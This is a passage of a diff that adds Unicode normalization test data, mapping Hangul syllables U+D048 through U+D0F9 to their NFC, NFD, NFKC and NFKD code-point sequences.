+{ source: [0xD048], NFC: [0xD048], NFD: [0x110F, 0x1171, 0x11BB], NFKC: [0xD048], NFKD: [0x110F, 0x1171, 0x11BB] },
+{ source: [0xD049], NFC: [0xD049], NFD: [0x110F, 0x1171, 0x11BC], NFKC: [0xD049], NFKD: [0x110F, 0x1171, 0x11BC] },
+{ source: [0xD04A], NFC: [0xD04A], NFD: [0x110F, 0x1171, 0x11BD], NFKC: [0xD04A], NFKD: [0x110F, 0x1171, 0x11BD] },
+{ source: [0xD04B], NFC: [0xD04B], NFD: [0x110F, 0x1171, 0x11BE], NFKC: [0xD04B], NFKD: [0x110F, 0x1171, 0x11BE] },
+{ source: [0xD04C], NFC: [0xD04C], NFD: [0x110F, 0x1171, 0x11BF], NFKC: [0xD04C], NFKD: [0x110F, 0x1171, 0x11BF] },
+{ source: [0xD04D], NFC: [0xD04D], NFD: [0x110F, 0x1171, 0x11C0], NFKC: [0xD04D], NFKD: [0x110F, 0x1171, 0x11C0] },
+{ source: [0xD04E], NFC: [0xD04E], NFD: [0x110F, 0x1171, 0x11C1], NFKC: [0xD04E], NFKD: [0x110F, 0x1171, 0x11C1] },
+{ source: [0xD04F], NFC: [0xD04F], NFD: [0x110F, 0x1171, 0x11C2], NFKC: [0xD04F], NFKD: [0x110F, 0x1171, 0x11C2] },
+{ source: [0xD050], NFC: [0xD050], NFD: [0x110F, 0x1172], NFKC: [0xD050], NFKD: [0x110F, 0x1172] },
+{ source: [0xD051], NFC: [0xD051], NFD: [0x110F, 0x1172, 0x11A8], NFKC: [0xD051], NFKD: [0x110F, 0x1172, 0x11A8] },
+{ source: [0xD052], NFC: [0xD052], NFD: [0x110F, 0x1172, 0x11A9], NFKC: [0xD052], NFKD: [0x110F, 0x1172, 0x11A9] },
+{ source: [0xD053], NFC: [0xD053], NFD: [0x110F, 0x1172, 0x11AA], NFKC: [0xD053], NFKD: [0x110F, 0x1172, 0x11AA] },
+{ source: [0xD054], NFC: [0xD054], NFD: [0x110F, 0x1172, 0x11AB], NFKC: [0xD054], NFKD: [0x110F, 0x1172, 0x11AB] },
+{ source: [0xD055], NFC: [0xD055], NFD: [0x110F, 0x1172, 0x11AC], NFKC: [0xD055], NFKD: [0x110F, 0x1172, 0x11AC] },
+{ source: [0xD056], NFC: [0xD056], NFD: [0x110F, 0x1172, 0x11AD], NFKC: [0xD056], NFKD: [0x110F, 0x1172, 0x11AD] },
+{ source: [0xD057], NFC: [0xD057], NFD: [0x110F, 0x1172, 0x11AE], NFKC: [0xD057], NFKD: [0x110F, 0x1172, 0x11AE] },
+{ source: [0xD058], NFC: [0xD058], NFD: [0x110F, 0x1172, 0x11AF], NFKC: [0xD058], NFKD: [0x110F, 0x1172, 0x11AF] },
+{ source: [0xD059], NFC: [0xD059], NFD: [0x110F, 0x1172, 0x11B0], NFKC: [0xD059], NFKD: [0x110F, 0x1172, 0x11B0] },
+{ source: [0xD05A], NFC: [0xD05A], NFD: [0x110F, 0x1172, 0x11B1], NFKC: [0xD05A], NFKD: [0x110F, 0x1172, 0x11B1] },
+{ source: [0xD05B], NFC: [0xD05B], NFD: [0x110F, 0x1172, 0x11B2], NFKC: [0xD05B], NFKD: [0x110F, 0x1172, 0x11B2] },
+{ source: [0xD05C], NFC: [0xD05C], NFD: [0x110F, 0x1172, 0x11B3], NFKC: [0xD05C], NFKD: [0x110F, 0x1172, 0x11B3] },
+{ source: [0xD05D], NFC: [0xD05D], NFD: [0x110F, 0x1172, 0x11B4], NFKC: [0xD05D], NFKD: [0x110F, 0x1172, 0x11B4] },
+{ source: [0xD05E], NFC: [0xD05E], NFD: [0x110F, 0x1172, 0x11B5], NFKC: [0xD05E], NFKD: [0x110F, 0x1172, 0x11B5] },
+{ source: [0xD05F], NFC: [0xD05F], NFD: [0x110F, 0x1172, 0x11B6], NFKC: [0xD05F], NFKD: [0x110F, 0x1172, 0x11B6] },
+{ source: [0xD060], NFC: [0xD060], NFD: [0x110F, 0x1172, 0x11B7], NFKC: [0xD060], NFKD: [0x110F, 0x1172, 0x11B7] },
+{ source: [0xD061], NFC: [0xD061], NFD: [0x110F, 0x1172, 0x11B8], NFKC: [0xD061], NFKD: [0x110F, 0x1172, 0x11B8] },
+{ source: [0xD062], NFC: [0xD062], NFD: [0x110F, 0x1172, 0x11B9], NFKC: [0xD062], NFKD: [0x110F, 0x1172, 0x11B9] },
+{ source: [0xD063], NFC: [0xD063], NFD: [0x110F, 0x1172, 0x11BA], NFKC: [0xD063], NFKD: [0x110F, 0x1172, 0x11BA] },
+{ source: [0xD064], NFC: [0xD064], NFD: [0x110F, 0x1172, 0x11BB], NFKC: [0xD064], NFKD: [0x110F, 0x1172, 0x11BB] },
+{ source: [0xD065], NFC: [0xD065], NFD: [0x110F, 0x1172, 0x11BC], NFKC: [0xD065], NFKD: [0x110F, 0x1172, 0x11BC] },
+{ source: [0xD066], NFC: [0xD066], NFD: [0x110F, 0x1172, 0x11BD], NFKC: [0xD066], NFKD: [0x110F, 0x1172, 0x11BD] },
+{ source: [0xD067], NFC: [0xD067], NFD: [0x110F, 0x1172, 0x11BE], NFKC: [0xD067], NFKD: [0x110F, 0x1172, 0x11BE] },
+{ source: [0xD068], NFC: [0xD068], NFD: [0x110F, 0x1172, 0x11BF], NFKC: [0xD068], NFKD: [0x110F, 0x1172, 0x11BF] },
+{ source: [0xD069], NFC: [0xD069], NFD: [0x110F, 0x1172, 0x11C0], NFKC: [0xD069], NFKD: [0x110F, 0x1172, 0x11C0] },
+{ source: [0xD06A], NFC: [0xD06A], NFD: [0x110F, 0x1172, 0x11C1], NFKC: [0xD06A], NFKD: [0x110F, 0x1172, 0x11C1] },
+{ source: [0xD06B], NFC: [0xD06B], NFD: [0x110F, 0x1172, 0x11C2], NFKC: [0xD06B], NFKD: [0x110F, 0x1172, 0x11C2] },
+{ source: [0xD06C], NFC: [0xD06C], NFD: [0x110F, 0x1173], NFKC: [0xD06C], NFKD: [0x110F, 0x1173] },
+{ source: [0xD06D], NFC: [0xD06D], NFD: [0x110F, 0x1173, 0x11A8], NFKC: [0xD06D], NFKD: [0x110F, 0x1173, 0x11A8] },
+{ source: [0xD06E], NFC: [0xD06E], NFD: [0x110F, 0x1173, 0x11A9], NFKC: [0xD06E], NFKD: [0x110F, 0x1173, 0x11A9] },
+{ source: [0xD06F], NFC: [0xD06F], NFD: [0x110F, 0x1173, 0x11AA], NFKC: [0xD06F], NFKD: [0x110F, 0x1173, 0x11AA] },
+{ source: [0xD070], NFC: [0xD070], NFD: [0x110F, 0x1173, 0x11AB], NFKC: [0xD070], NFKD: [0x110F, 0x1173, 0x11AB] },
+{ source: [0xD071], NFC: [0xD071], NFD: [0x110F, 0x1173, 0x11AC], NFKC: [0xD071], NFKD: [0x110F, 0x1173, 0x11AC] },
+{ source: [0xD072], NFC: [0xD072], NFD: [0x110F, 0x1173, 0x11AD], NFKC: [0xD072], NFKD: [0x110F, 0x1173, 0x11AD] },
+{ source: [0xD073], NFC: [0xD073], NFD: [0x110F, 0x1173, 0x11AE], NFKC: [0xD073], NFKD: [0x110F, 0x1173, 0x11AE] },
+{ source: [0xD074], NFC: [0xD074], NFD: [0x110F, 0x1173, 0x11AF], NFKC: [0xD074], NFKD: [0x110F, 0x1173, 0x11AF] },
+{ source: [0xD075], NFC: [0xD075], NFD: [0x110F, 0x1173, 0x11B0], NFKC: [0xD075], NFKD: [0x110F, 0x1173, 0x11B0] },
+{ source: [0xD076], NFC: [0xD076], NFD: [0x110F, 0x1173, 0x11B1], NFKC: [0xD076], NFKD: [0x110F, 0x1173, 0x11B1] },
+{ source: [0xD077], NFC: [0xD077], NFD: [0x110F, 0x1173, 0x11B2], NFKC: [0xD077], NFKD: [0x110F, 0x1173, 0x11B2] },
+{ source: [0xD078], NFC: [0xD078], NFD: [0x110F, 0x1173, 0x11B3], NFKC: [0xD078], NFKD: [0x110F, 0x1173, 0x11B3] },
+{ source: [0xD079], NFC: [0xD079], NFD: [0x110F, 0x1173, 0x11B4], NFKC: [0xD079], NFKD: [0x110F, 0x1173, 0x11B4] },
+{ source: [0xD07A], NFC: [0xD07A], NFD: [0x110F, 0x1173, 0x11B5], NFKC: [0xD07A], NFKD: [0x110F, 0x1173, 0x11B5] },
+{ source: [0xD07B], NFC: [0xD07B], NFD: [0x110F, 0x1173, 0x11B6], NFKC: [0xD07B], NFKD: [0x110F, 0x1173, 0x11B6] },
+{ source: [0xD07C], NFC: [0xD07C], NFD: [0x110F, 0x1173, 0x11B7], NFKC: [0xD07C], NFKD: [0x110F, 0x1173, 0x11B7] },
+{ source: [0xD07D], NFC: [0xD07D], NFD: [0x110F, 0x1173, 0x11B8], NFKC: [0xD07D], NFKD: [0x110F, 0x1173, 0x11B8] },
+{ source: [0xD07E], NFC: [0xD07E], NFD: [0x110F, 0x1173, 0x11B9], NFKC: [0xD07E], NFKD: [0x110F, 0x1173, 0x11B9] },
+{ source: [0xD07F], NFC: [0xD07F], NFD: [0x110F, 0x1173, 0x11BA], NFKC: [0xD07F], NFKD: [0x110F, 0x1173, 0x11BA] },
+{ source: [0xD080], NFC: [0xD080], NFD: [0x110F, 0x1173, 0x11BB], NFKC: [0xD080], NFKD: [0x110F, 0x1173, 0x11BB] },
+{ source: [0xD081], NFC: [0xD081], NFD: [0x110F, 0x1173, 0x11BC], NFKC: [0xD081], NFKD: [0x110F, 0x1173, 0x11BC] },
+{ source: [0xD082], NFC: [0xD082], NFD: [0x110F, 0x1173, 0x11BD], NFKC: [0xD082], NFKD: [0x110F, 0x1173, 0x11BD] },
+{ source: [0xD083], NFC: [0xD083], NFD: [0x110F, 0x1173, 0x11BE], NFKC: [0xD083], NFKD: [0x110F, 0x1173, 0x11BE] },
+{ source: [0xD084], NFC: [0xD084], NFD: [0x110F, 0x1173, 0x11BF], NFKC: [0xD084], NFKD: [0x110F, 0x1173, 0x11BF] },
+{ source: [0xD085], NFC: [0xD085], NFD: [0x110F, 0x1173, 0x11C0], NFKC: [0xD085], NFKD: [0x110F, 0x1173, 0x11C0] },
+{ source: [0xD086], NFC: [0xD086], NFD: [0x110F, 0x1173, 0x11C1], NFKC: [0xD086], NFKD: [0x110F, 0x1173, 0x11C1] },
+{ source: [0xD087], NFC: [0xD087], NFD: [0x110F, 0x1173, 0x11C2], NFKC: [0xD087], NFKD: [0x110F, 0x1173, 0x11C2] },
+{ source: [0xD088], NFC: [0xD088], NFD: [0x110F, 0x1174], NFKC: [0xD088], NFKD: [0x110F, 0x1174] },
+{ source: [0xD089], NFC: [0xD089], NFD: [0x110F, 0x1174, 0x11A8], NFKC: [0xD089], NFKD: [0x110F, 0x1174, 0x11A8] },
+{ source: [0xD08A], NFC: [0xD08A], NFD: [0x110F, 0x1174, 0x11A9], NFKC: [0xD08A], NFKD: [0x110F, 0x1174, 0x11A9] },
+{ source: [0xD08B], NFC: [0xD08B], NFD: [0x110F, 0x1174, 0x11AA], NFKC: [0xD08B], NFKD: [0x110F, 0x1174, 0x11AA] },
+{ source: [0xD08C], NFC: [0xD08C], NFD: [0x110F, 0x1174, 0x11AB], NFKC: [0xD08C], NFKD: [0x110F, 0x1174, 0x11AB] },
+{ source: [0xD08D], NFC: [0xD08D], NFD: [0x110F, 0x1174, 0x11AC], NFKC: [0xD08D], NFKD: [0x110F, 0x1174, 0x11AC] },
+{ source: [0xD08E], NFC: [0xD08E], NFD: [0x110F, 0x1174, 0x11AD], NFKC: [0xD08E], NFKD: [0x110F, 0x1174, 0x11AD] },
+{ source: [0xD08F], NFC: [0xD08F], NFD: [0x110F, 0x1174, 0x11AE], NFKC: [0xD08F], NFKD: [0x110F, 0x1174, 0x11AE] },
+{ source: [0xD090], NFC: [0xD090], NFD: [0x110F, 0x1174, 0x11AF], NFKC: [0xD090], NFKD: [0x110F, 0x1174, 0x11AF] },
+{ source: [0xD091], NFC: [0xD091], NFD: [0x110F, 0x1174, 0x11B0], NFKC: [0xD091], NFKD: [0x110F, 0x1174, 0x11B0] },
+{ source: [0xD092], NFC: [0xD092], NFD: [0x110F, 0x1174, 0x11B1], NFKC: [0xD092], NFKD: [0x110F, 0x1174, 0x11B1] },
+{ source: [0xD093], NFC: [0xD093], NFD: [0x110F, 0x1174, 0x11B2], NFKC: [0xD093], NFKD: [0x110F, 0x1174, 0x11B2] },
+{ source: [0xD094], NFC: [0xD094], NFD: [0x110F, 0x1174, 0x11B3], NFKC: [0xD094], NFKD: [0x110F, 0x1174, 0x11B3] },
+{ source: [0xD095], NFC: [0xD095], NFD: [0x110F, 0x1174, 0x11B4], NFKC: [0xD095], NFKD: [0x110F, 0x1174, 0x11B4] },
+{ source: [0xD096], NFC: [0xD096], NFD: [0x110F, 0x1174, 0x11B5], NFKC: [0xD096], NFKD: [0x110F, 0x1174, 0x11B5] },
+{ source: [0xD097], NFC: [0xD097], NFD: [0x110F, 0x1174, 0x11B6], NFKC: [0xD097], NFKD: [0x110F, 0x1174, 0x11B6] },
+{ source: [0xD098], NFC: [0xD098], NFD: [0x110F, 0x1174, 0x11B7], NFKC: [0xD098], NFKD: [0x110F, 0x1174, 0x11B7] },
+{ source: [0xD099], NFC: [0xD099], NFD: [0x110F, 0x1174, 0x11B8], NFKC: [0xD099], NFKD: [0x110F, 0x1174, 0x11B8] },
+{ source: [0xD09A], NFC: [0xD09A], NFD: [0x110F, 0x1174, 0x11B9], NFKC: [0xD09A], NFKD: [0x110F, 0x1174, 0x11B9] },
+{ source: [0xD09B], NFC: [0xD09B], NFD: [0x110F, 0x1174, 0x11BA], NFKC: [0xD09B], NFKD: [0x110F, 0x1174, 0x11BA] },
+{ source: [0xD09C], NFC: [0xD09C], NFD: [0x110F, 0x1174, 0x11BB], NFKC: [0xD09C], NFKD: [0x110F, 0x1174, 0x11BB] },
+{ source: [0xD09D], NFC: [0xD09D], NFD: [0x110F, 0x1174, 0x11BC], NFKC: [0xD09D], NFKD: [0x110F, 0x1174, 0x11BC] },
+{ source: [0xD09E], NFC: [0xD09E], NFD: [0x110F, 0x1174, 0x11BD], NFKC: [0xD09E], NFKD: [0x110F, 0x1174, 0x11BD] },
+{ source: [0xD09F], NFC: [0xD09F], NFD: [0x110F, 0x1174, 0x11BE], NFKC: [0xD09F], NFKD: [0x110F, 0x1174, 0x11BE] },
+{ source: [0xD0A0], NFC: [0xD0A0], NFD: [0x110F, 0x1174, 0x11BF], NFKC: [0xD0A0], NFKD: [0x110F, 0x1174, 0x11BF] },
+{ source: [0xD0A1], NFC: [0xD0A1], NFD: [0x110F, 0x1174, 0x11C0], NFKC: [0xD0A1], NFKD: [0x110F, 0x1174, 0x11C0] },
+{ source: [0xD0A2], NFC: [0xD0A2], NFD: [0x110F, 0x1174, 0x11C1], NFKC: [0xD0A2], NFKD: [0x110F, 0x1174, 0x11C1] },
+{ source: [0xD0A3], NFC: [0xD0A3], NFD: [0x110F, 0x1174, 0x11C2], NFKC: [0xD0A3], NFKD: [0x110F, 0x1174, 0x11C2] },
+{ source: [0xD0A4], NFC: [0xD0A4], NFD: [0x110F, 0x1175], NFKC: [0xD0A4], NFKD: [0x110F, 0x1175] },
+{ source: [0xD0A5], NFC: [0xD0A5], NFD: [0x110F, 0x1175, 0x11A8], NFKC: [0xD0A5], NFKD: [0x110F, 0x1175, 0x11A8] },
+{ source: [0xD0A6], NFC: [0xD0A6], NFD: [0x110F, 0x1175, 0x11A9], NFKC: [0xD0A6], NFKD: [0x110F, 0x1175, 0x11A9] },
+{ source: [0xD0A7], NFC: [0xD0A7], NFD: [0x110F, 0x1175, 0x11AA], NFKC: [0xD0A7], NFKD: [0x110F, 0x1175, 0x11AA] },
+{ source: [0xD0A8], NFC: [0xD0A8], NFD: [0x110F, 0x1175, 0x11AB], NFKC: [0xD0A8], NFKD: [0x110F, 0x1175, 0x11AB] },
+{ source: [0xD0A9], NFC: [0xD0A9], NFD: [0x110F, 0x1175, 0x11AC], NFKC: [0xD0A9], NFKD: [0x110F, 0x1175, 0x11AC] },
+{ source: [0xD0AA], NFC: [0xD0AA], NFD: [0x110F, 0x1175, 0x11AD], NFKC: [0xD0AA], NFKD: [0x110F, 0x1175, 0x11AD] },
+{ source: [0xD0AB], NFC: [0xD0AB], NFD: [0x110F, 0x1175, 0x11AE], NFKC: [0xD0AB], NFKD: [0x110F, 0x1175, 0x11AE] },
+{ source: [0xD0AC], NFC: [0xD0AC], NFD: [0x110F, 0x1175, 0x11AF], NFKC: [0xD0AC], NFKD: [0x110F, 0x1175, 0x11AF] },
+{ source: [0xD0AD], NFC: [0xD0AD], NFD: [0x110F, 0x1175, 0x11B0], NFKC: [0xD0AD], NFKD: [0x110F, 0x1175, 0x11B0] },
+{ source: [0xD0AE], NFC: [0xD0AE], NFD: [0x110F, 0x1175, 0x11B1], NFKC: [0xD0AE], NFKD: [0x110F, 0x1175, 0x11B1] },
+{ source: [0xD0AF], NFC: [0xD0AF], NFD: [0x110F, 0x1175, 0x11B2], NFKC: [0xD0AF], NFKD: [0x110F, 0x1175, 0x11B2] },
+{ source: [0xD0B0], NFC: [0xD0B0], NFD: [0x110F, 0x1175, 0x11B3], NFKC: [0xD0B0], NFKD: [0x110F, 0x1175, 0x11B3] },
+{ source: [0xD0B1], NFC: [0xD0B1], NFD: [0x110F, 0x1175, 0x11B4], NFKC: [0xD0B1], NFKD: [0x110F, 0x1175, 0x11B4] },
+{ source: [0xD0B2], NFC: [0xD0B2], NFD: [0x110F, 0x1175, 0x11B5], NFKC: [0xD0B2], NFKD: [0x110F, 0x1175, 0x11B5] },
+{ source: [0xD0B3], NFC: [0xD0B3], NFD: [0x110F, 0x1175, 0x11B6], NFKC: [0xD0B3], NFKD: [0x110F, 0x1175, 0x11B6] },
+{ source: [0xD0B4], NFC: [0xD0B4], NFD: [0x110F, 0x1175, 0x11B7], NFKC: [0xD0B4], NFKD: [0x110F, 0x1175, 0x11B7] },
+{ source: [0xD0B5], NFC: [0xD0B5], NFD: [0x110F, 0x1175, 0x11B8], NFKC: [0xD0B5], NFKD: [0x110F, 0x1175, 0x11B8] },
+{ source: [0xD0B6], NFC: [0xD0B6], NFD: [0x110F, 0x1175, 0x11B9], NFKC: [0xD0B6], NFKD: [0x110F, 0x1175, 0x11B9] },
+{ source: [0xD0B7], NFC: [0xD0B7], NFD: [0x110F, 0x1175, 0x11BA], NFKC: [0xD0B7], NFKD: [0x110F, 0x1175, 0x11BA] },
+{ source: [0xD0B8], NFC: [0xD0B8], NFD: [0x110F, 0x1175, 0x11BB], NFKC: [0xD0B8], NFKD: [0x110F, 0x1175, 0x11BB] },
+{ source: [0xD0B9], NFC: [0xD0B9], NFD: [0x110F, 0x1175, 0x11BC], NFKC: [0xD0B9], NFKD: [0x110F, 0x1175, 0x11BC] },
+{ source: [0xD0BA], NFC: [0xD0BA], NFD: [0x110F, 0x1175, 0x11BD], NFKC: [0xD0BA], NFKD: [0x110F, 0x1175, 0x11BD] },
+{ source: [0xD0BB], NFC: [0xD0BB], NFD: [0x110F, 0x1175, 0x11BE], NFKC: [0xD0BB], NFKD: [0x110F, 0x1175, 0x11BE] },
+{ source: [0xD0BC], NFC: [0xD0BC], NFD: [0x110F, 0x1175, 0x11BF], NFKC: [0xD0BC], NFKD: [0x110F, 0x1175, 0x11BF] },
+{ source: [0xD0BD], NFC: [0xD0BD], NFD: [0x110F, 0x1175, 0x11C0], NFKC: [0xD0BD], NFKD: [0x110F, 0x1175, 0x11C0] },
+{ source: [0xD0BE], NFC: [0xD0BE], NFD: [0x110F, 0x1175, 0x11C1], NFKC: [0xD0BE], NFKD: [0x110F, 0x1175, 0x11C1] },
+{ source: [0xD0BF], NFC: [0xD0BF], NFD: [0x110F, 0x1175, 0x11C2], NFKC: [0xD0BF], NFKD: [0x110F, 0x1175, 0x11C2] },
+{ source: [0xD0C0], NFC: [0xD0C0], NFD: [0x1110, 0x1161], NFKC: [0xD0C0], NFKD: [0x1110, 0x1161] },
+{ source: [0xD0C1], NFC: [0xD0C1], NFD: [0x1110, 0x1161, 0x11A8], NFKC: [0xD0C1], NFKD: [0x1110, 0x1161, 0x11A8] },
+{ source: [0xD0C2], NFC: [0xD0C2], NFD: [0x1110, 0x1161, 0x11A9], NFKC: [0xD0C2], NFKD: [0x1110, 0x1161, 0x11A9] },
+{ source: [0xD0C3], NFC: [0xD0C3], NFD: [0x1110, 0x1161, 0x11AA], NFKC: [0xD0C3], NFKD: [0x1110, 0x1161, 0x11AA] },
+{ source: [0xD0C4], NFC: [0xD0C4], NFD: [0x1110, 0x1161, 0x11AB], NFKC: [0xD0C4], NFKD: [0x1110, 0x1161, 0x11AB] },
+{ source: [0xD0C5], NFC: [0xD0C5], NFD: [0x1110, 0x1161, 0x11AC], NFKC: [0xD0C5], NFKD: [0x1110, 0x1161, 0x11AC] },
+{ source: [0xD0C6], NFC: [0xD0C6], NFD: [0x1110, 0x1161, 0x11AD], NFKC: [0xD0C6], NFKD: [0x1110, 0x1161, 0x11AD] },
+{ source: [0xD0C7], NFC: [0xD0C7], NFD: [0x1110, 0x1161, 0x11AE], NFKC: [0xD0C7], NFKD: [0x1110, 0x1161, 0x11AE] },
+{ source: [0xD0C8], NFC: [0xD0C8], NFD: [0x1110, 0x1161, 0x11AF], NFKC: [0xD0C8], NFKD: [0x1110, 0x1161, 0x11AF] },
+{ source: [0xD0C9], NFC: [0xD0C9], NFD: [0x1110, 0x1161, 0x11B0], NFKC: [0xD0C9], NFKD: [0x1110, 0x1161, 0x11B0] },
+{ source: [0xD0CA], NFC: [0xD0CA], NFD: [0x1110, 0x1161, 0x11B1], NFKC: [0xD0CA], NFKD: [0x1110, 0x1161, 0x11B1] },
+{ source: [0xD0CB], NFC: [0xD0CB], NFD: [0x1110, 0x1161, 0x11B2], NFKC: [0xD0CB], NFKD: [0x1110, 0x1161, 0x11B2] },
+{ source: [0xD0CC], NFC: [0xD0CC], NFD: [0x1110, 0x1161, 0x11B3], NFKC: [0xD0CC], NFKD: [0x1110, 0x1161, 0x11B3] },
+{ source: [0xD0CD], NFC: [0xD0CD], NFD: [0x1110, 0x1161, 0x11B4], NFKC: [0xD0CD], NFKD: [0x1110, 0x1161, 0x11B4] },
+{ source: [0xD0CE], NFC: [0xD0CE], NFD: [0x1110, 0x1161, 0x11B5], NFKC: [0xD0CE], NFKD: [0x1110, 0x1161, 0x11B5] },
+{ source: [0xD0CF], NFC: [0xD0CF], NFD: [0x1110, 0x1161, 0x11B6], NFKC: [0xD0CF], NFKD: [0x1110, 0x1161, 0x11B6] },
+{ source: [0xD0D0], NFC: [0xD0D0], NFD: [0x1110, 0x1161, 0x11B7], NFKC: [0xD0D0], NFKD: [0x1110, 0x1161, 0x11B7] },
+{ source: [0xD0D1], NFC: [0xD0D1], NFD: [0x1110, 0x1161, 0x11B8], NFKC: [0xD0D1], NFKD: [0x1110, 0x1161, 0x11B8] },
+{ source: [0xD0D2], NFC: [0xD0D2], NFD: [0x1110, 0x1161, 0x11B9], NFKC: [0xD0D2], NFKD: [0x1110, 0x1161, 0x11B9] },
+{ source: [0xD0D3], NFC: [0xD0D3], NFD: [0x1110, 0x1161, 0x11BA], NFKC: [0xD0D3], NFKD: [0x1110, 0x1161, 0x11BA] },
+{ source: [0xD0D4], NFC: [0xD0D4], NFD: [0x1110, 0x1161, 0x11BB], NFKC: [0xD0D4], NFKD: [0x1110, 0x1161, 0x11BB] },
+{ source: [0xD0D5], NFC: [0xD0D5], NFD: [0x1110, 0x1161, 0x11BC], NFKC: [0xD0D5], NFKD: [0x1110, 0x1161, 0x11BC] },
+{ source: [0xD0D6], NFC: [0xD0D6], NFD: [0x1110, 0x1161, 0x11BD], NFKC: [0xD0D6], NFKD: [0x1110, 0x1161, 0x11BD] },
+{ source: [0xD0D7], NFC: [0xD0D7], NFD: [0x1110, 0x1161, 0x11BE], NFKC: [0xD0D7], NFKD: [0x1110, 0x1161, 0x11BE] },
+{ source: [0xD0D8], NFC: [0xD0D8], NFD: [0x1110, 0x1161, 0x11BF], NFKC: [0xD0D8], NFKD: [0x1110, 0x1161, 0x11BF] },
+{ source: [0xD0D9], NFC: [0xD0D9], NFD: [0x1110, 0x1161, 0x11C0], NFKC: [0xD0D9], NFKD: [0x1110, 0x1161, 0x11C0] },
+{ source: [0xD0DA], NFC: [0xD0DA], NFD: [0x1110, 0x1161, 0x11C1], NFKC: [0xD0DA], NFKD: [0x1110, 0x1161, 0x11C1] },
+{ source: [0xD0DB], NFC: [0xD0DB], NFD: [0x1110, 0x1161, 0x11C2], NFKC: [0xD0DB], NFKD: [0x1110, 0x1161, 0x11C2] },
+{ source: [0xD0DC], NFC: [0xD0DC], NFD: [0x1110, 0x1162], NFKC: [0xD0DC], NFKD: [0x1110, 0x1162] },
+{ source: [0xD0DD], NFC: [0xD0DD], NFD: [0x1110, 0x1162, 0x11A8], NFKC: [0xD0DD], NFKD: [0x1110, 0x1162, 0x11A8] },
+{ source: [0xD0DE], NFC: [0xD0DE], NFD: [0x1110, 0x1162, 0x11A9], NFKC: [0xD0DE], NFKD: [0x1110, 0x1162, 0x11A9] },
+{ source: [0xD0DF], NFC: [0xD0DF], NFD: [0x1110, 0x1162, 0x11AA], NFKC: [0xD0DF], NFKD: [0x1110, 0x1162, 0x11AA] },
+{ source: [0xD0E0], NFC: [0xD0E0], NFD: [0x1110, 0x1162, 0x11AB], NFKC: [0xD0E0], NFKD: [0x1110, 0x1162, 0x11AB] },
+{ source: [0xD0E1], NFC: [0xD0E1], NFD: [0x1110, 0x1162, 0x11AC], NFKC: [0xD0E1], NFKD: [0x1110, 0x1162, 0x11AC] },
+{ source: [0xD0E2], NFC: [0xD0E2], NFD: [0x1110, 0x1162, 0x11AD], NFKC: [0xD0E2], NFKD: [0x1110, 0x1162, 0x11AD] },
+{ source: [0xD0E3], NFC: [0xD0E3], NFD: [0x1110, 0x1162, 0x11AE], NFKC: [0xD0E3], NFKD: [0x1110, 0x1162, 0x11AE] },
+{ source: [0xD0E4], NFC: [0xD0E4], NFD: [0x1110, 0x1162, 0x11AF], NFKC: [0xD0E4], NFKD: [0x1110, 0x1162, 0x11AF] },
+{ source: [0xD0E5], NFC: [0xD0E5], NFD: [0x1110, 0x1162, 0x11B0], NFKC: [0xD0E5], NFKD: [0x1110, 0x1162, 0x11B0] },
+{ source: [0xD0E6], NFC: [0xD0E6], NFD: [0x1110, 0x1162, 0x11B1], NFKC: [0xD0E6], NFKD: [0x1110, 0x1162, 0x11B1] },
+{ source: [0xD0E7], NFC: [0xD0E7], NFD: [0x1110, 0x1162, 0x11B2], NFKC: [0xD0E7], NFKD: [0x1110, 0x1162, 0x11B2] },
+{ source: [0xD0E8], NFC: [0xD0E8], NFD: [0x1110, 0x1162, 0x11B3], NFKC: [0xD0E8], NFKD: [0x1110, 0x1162, 0x11B3] },
+{ source: [0xD0E9], NFC: [0xD0E9], NFD: [0x1110, 0x1162, 0x11B4], NFKC: [0xD0E9], NFKD: [0x1110, 0x1162, 0x11B4] },
+{ source: [0xD0EA], NFC: [0xD0EA], NFD: [0x1110, 0x1162, 0x11B5], NFKC: [0xD0EA], NFKD: [0x1110, 0x1162, 0x11B5] },
+{ source: [0xD0EB], NFC: [0xD0EB], NFD: [0x1110, 0x1162, 0x11B6], NFKC: [0xD0EB], NFKD: [0x1110, 0x1162, 0x11B6] },
+{ source: [0xD0EC], NFC: [0xD0EC], NFD: [0x1110, 0x1162, 0x11B7], NFKC: [0xD0EC], NFKD: [0x1110, 0x1162, 0x11B7] },
+{ source: [0xD0ED], NFC: [0xD0ED], NFD: [0x1110, 0x1162, 0x11B8], NFKC: [0xD0ED], NFKD: [0x1110, 0x1162, 0x11B8] },
+{ source: [0xD0EE], NFC: [0xD0EE], NFD: [0x1110, 0x1162, 0x11B9], NFKC: [0xD0EE], NFKD: [0x1110, 0x1162, 0x11B9] },
+{ source: [0xD0EF], NFC: [0xD0EF], NFD: [0x1110, 0x1162, 0x11BA], NFKC: [0xD0EF], NFKD: [0x1110, 0x1162, 0x11BA] },
+{ source: [0xD0F0], NFC: [0xD0F0], NFD: [0x1110, 0x1162, 0x11BB], NFKC: [0xD0F0], NFKD: [0x1110, 0x1162, 0x11BB] },
+{ source: [0xD0F1], NFC: [0xD0F1], NFD: [0x1110, 0x1162, 0x11BC], NFKC: [0xD0F1], NFKD: [0x1110, 0x1162, 0x11BC] },
+{ source: [0xD0F2], NFC: [0xD0F2], NFD: [0x1110, 0x1162, 0x11BD], NFKC: [0xD0F2], NFKD: [0x1110, 0x1162, 0x11BD] },
+{ source: [0xD0F3], NFC: [0xD0F3], NFD: [0x1110, 0x1162, 0x11BE], NFKC: [0xD0F3], NFKD: [0x1110, 0x1162, 0x11BE] },
+{ source: [0xD0F4], NFC: [0xD0F4], NFD: [0x1110, 0x1162, 0x11BF], NFKC: [0xD0F4], NFKD: [0x1110, 0x1162, 0x11BF] },
+{ source: [0xD0F5], NFC: [0xD0F5], NFD: [0x1110, 0x1162, 0x11C0], NFKC: [0xD0F5], NFKD: [0x1110, 0x1162, 0x11C0] },
+{ source: [0xD0F6], NFC: [0xD0F6], NFD: [0x1110, 0x1162, 0x11C1], NFKC: [0xD0F6], NFKD: [0x1110, 0x1162, 0x11C1] },
+{ source: [0xD0F7], NFC: [0xD0F7], NFD: [0x1110, 0x1162, 0x11C2], NFKC: [0xD0F7], NFKD: [0x1110, 0x1162, 0x11C2] },
+{ source: [0xD0F8], NFC: [0xD0F8], NFD: [0x1110, 0x1163], NFKC: [0xD0F8], NFKD: [0x1110, 0x1163] },
+{ source: [0xD0F9], NFC: [0xD0F9], NFD: [0x1110, 0x1163, 0x11A8], NFKC: [0xD0F9], NFKD: [0x1110, 0x1163, 0x11A8] },
